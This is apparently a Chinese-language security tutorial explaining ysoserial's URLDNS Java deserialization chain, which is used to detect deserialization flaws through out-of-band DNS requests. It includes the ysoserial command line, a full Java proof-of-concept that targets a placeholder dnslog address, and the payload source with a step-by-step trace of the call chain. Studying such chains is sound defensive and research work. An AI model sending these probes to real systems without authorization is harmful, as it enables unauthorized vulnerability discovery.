在了解反序列化链之前,应先了解Java的序列化、反序列化和Java的反射机制

什么是 URLDNS

URLDNSysoserial提供的一个反序列化利用链,目的是无回显探测目标系统是否存在 Java 反序列化漏洞,是反序列化链中最简单的一条链,可以作为学习反序列化链的开始。

特点

  • 目标无回显,可控的参数只是个url,因此只能发起DNS请求探测是否存在反序列化漏洞。
  • 不限制 jdk 版本,使用 Java 内置类且不依赖第三方库。

总体流程理解

这里先提前说一下大体利用流程,方便后续理解。

漏洞点:URLDNS的本质就是Java的反序列化漏洞,因此只要是能够反序列化用户传入的数据的功能点(接口、RMI、JNDI)或者可以上传.ser文件和带有序列化对象的文件的功能点;服务端解析后就可能触发反序列化漏洞。

使用ysoserial的URELDNS链生成poyload:

1
2
3
4
5
6
#直接使用
java -jar ysoserial.jar URLDNS http://你的dnslog地址
或者
#生成序列化文件
java -jar ysoserial.jar URLDNS http://你的dnslog地址 > urldns.ser

生成后就可以在功能点测试,看看是否能收到DNS请求
也可以使用如下POC测试

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;

public class URLDemo {

public static void main(String[] args) throws Exception {
Date nowTime = new Date();
HashMap hashmap = new HashMap();
URL url = new URL("http://你的DNSLOG地址");
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true); // 绕过Java语言权限控制检查的权限
filed.set(url, 209);
hashmap.put(url, 209);
System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
filed.set(url, -1);

try {
FileOutputStream fileOutputStream = new FileOutputStream("./dnsser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("./dnsser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
//https://www.freebuf.com/articles/web/327710.html POC地址

ysoserial URLDNS payload代码解读

看这条链之前,先解读一下ysoserial URLDNS 给出的payload源码
源码链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {


URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);

Reflections.setFieldValue(u, "hashCode", -1);

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}


static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

代码总共分两部分,一步步解读

第一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object getObject(final String url) throws Exception {


URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);

Reflections.setFieldValue(u, "hashCode", -1);

return ht;
}
  • 构造了一个 HashMap,以 URL 作为 key。
  • HashMap 在反序列化的时候会执行 put()put() 会调用 key.hashCode()
  • 通过反射构造的 URL 对象的 hashCode() 被重置为 -1,以便它会重新计算 hashCode();重新计算 hashCode() 时,会调用 handler.hashCode(URL),触发 DNS 查询InetAddress.getByName()),详情后续会讲。

hashmap介绍

HashMapJava 中非常常用的一个数据结构,本质上是基于哈希表(Hash Table)实现的键值对(key-value)集合

HashMap 是一个 存储“键值对”映射关系 的集合类。
你可以通过一个 键(Key) 快速查找对应的 值(Value)

就像你有一个“字典”:

1
2
Key(单词):      "apple"
Value(释义): "苹果"

HashMap 存起来,就是:

1
2
3
HashMap<String, String> map = new HashMap<>();
map.put("apple", "苹果");
System.out.println(map.get("apple")); // 苹果

第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}


static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

SilentURLStreamHandler为第一部分重写了的URLStreamHandler,重写了openConnection,getHostAddress的函数;
因为hashmap的put方法也会调用它们进行一次DNS解析请求,重写来覆盖掉原函数,避免在构造poyload的时候发起DNS请求,影响最后的判断。

URLDNS链

核心调用流程

下方为URLDNS 反序列化链 核心调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
HashMap.readObject()

HashMap.hash(Object key)

key.hashCode() --> java.net.URL.hashCode()

URLStreamHandler.hashCode(URL u)

URLStreamHandler.getHostAddress(URL u)

InetAddress.getByName(String host)

正常分析利用链时,应该从尾部找,一步一步找到头部,这条链比较好理解并且已经分析过yso的Payload,因此我直接正向分析这条链了。

接下来用上方提到的poc详细看该反序列化链的调用流程

HashMap.readObject()

先ctrl+alt +b跳转到hashmap的实现代码

我们利用payload或者Poc生成序列化文件并把它传入存在反序列化漏洞的服务器上时,服务器就会对它进行序列化,当该类被反序列化时就会调用readObject()方法

readObject()介绍(有基础不需要看)
readObject()方法可以理解为PHP中的魔术方法,在PHP中的__wakeup() 方法在 unserialize() 执行时会自动调用;在Java中,readObject() 方法在反序列化(ObjectInputStream.readObject())时会自动执行

跟进hashmap()下的readObject方法

HashMap.hash(Object key)

往下滑,可以看到putVal()调用了hash(),并把键值key传入了,key也就是前方传入的dnslog的url

putVal()就是put()的底层实现,put()就是一个外部接口

key.hashCode()

继续跟进hash(),可以看到又调用了key.hashcode()方法

当点击转到实现方法时,发现key是一个Object基类。
Object基类是所有类的父类,父类引用(Object key)调用方法时,根据实际对象类型调用子类实现。

因此需要跟进URL.hashcode()

重写和多态介绍(有基础不需要看)

HashMap 的 key 是 Object 类型引用,但真正调用 hashCode()、equals() 方法时,是根据 实际对象类型 走子类的实现。

1
2
3
Object key = new URL("http://example.com");

key.hashCode(); // 实际执行 URL.hashCode();重写+多态

URL.hashcode()

继续跟进URL.hashcode()

可以直接打个URL,alt+左键跳转到URL类,再找一下hashcode()

可以看到如果hashcode是非1的值,if的条件就会满足,直接return的值。该条件说明已经计算过hash值了,会直接返回缓存值。

hashCode == -1 时,代表还没有计算过哈希值,会调用handler.hashcode()进行第一次计算。
因此上方的payload中才会通过反射把hashcode的值设置成-1,否则就无法进行链子的下一个调用。

hashcode()介绍(有基础不需要看)
每个对象都有自己的 hashCode(),这是一个返回 整数值 的方法。
这个返回值是对象的 哈希值,用来加速数据查找、比较等操作

作用

hashCode() 返回一个整数,用作哈希表中的“索引”。

比如 HashMap,插入和查找 key 的时候:

  1. 先调用 key.hashCode() 算出哈希值。
  2. 然后根据这个哈希值决定放到哪一个“桶”里(table 的索引)。
  3. 再在这个“桶”里通过 equals() 比较找到真正的 key。

原理

哈希表底层是一个数组,每个 key 根据哈希值决定放在哪个下标位置(index)。
hashCode() 越分散,哈希表性能越好。

URLStreamHandler.hashCode()

跟进handler的hashCode(),发现handlerURLStreamHandler的实例,因此需要跟进URLStreamHandler的hashCode()

同时我们看到hashcode的默认值为-1,但是HashMap()的put()时已经调用过一次hashCode()函数,hashCode的值会有缓存,因此需要上方的payload中才会通过反射把hashcode的值设置成-1,否则就无法进行链子的下一个调用。

并且payload也重写了URLStreamHandler的getHostAddress,openConnection方法,防止在第一次put是触发DNS请求,影响探测效果。

跟进URLStreamHandler的hashCode()

第一部分代码相当于取出协议部分
第二部分的InetAddress addr = getHostAddress(u);取出主机部分。尝试通过 getHostAddress(u) 获取 InetAddress(相当于解析 URL 的 IP 地址)。

发现它又调用了getHostAddress(),继续跟进。

URLStreamHandler.getHostAddress

该方法又调用了InetAddress.getByName(),并传入主机名

InetAddress.getByName

该方法对传入的主机名(host)解析出对应的 IP 地址(InetAddress 对象),从而发送了一次DNS请求。

总结

Hashmap是反序列化的入口点,getByName是最后的利用点,本质就是想办法把头和尾串联起来;传入的key和把hashcode的值通过反射改为-1就是这条链的关键点。把他们串起来之后加上dnslog进行序列化处理,传入可能存在的漏洞点就可以进行测试了。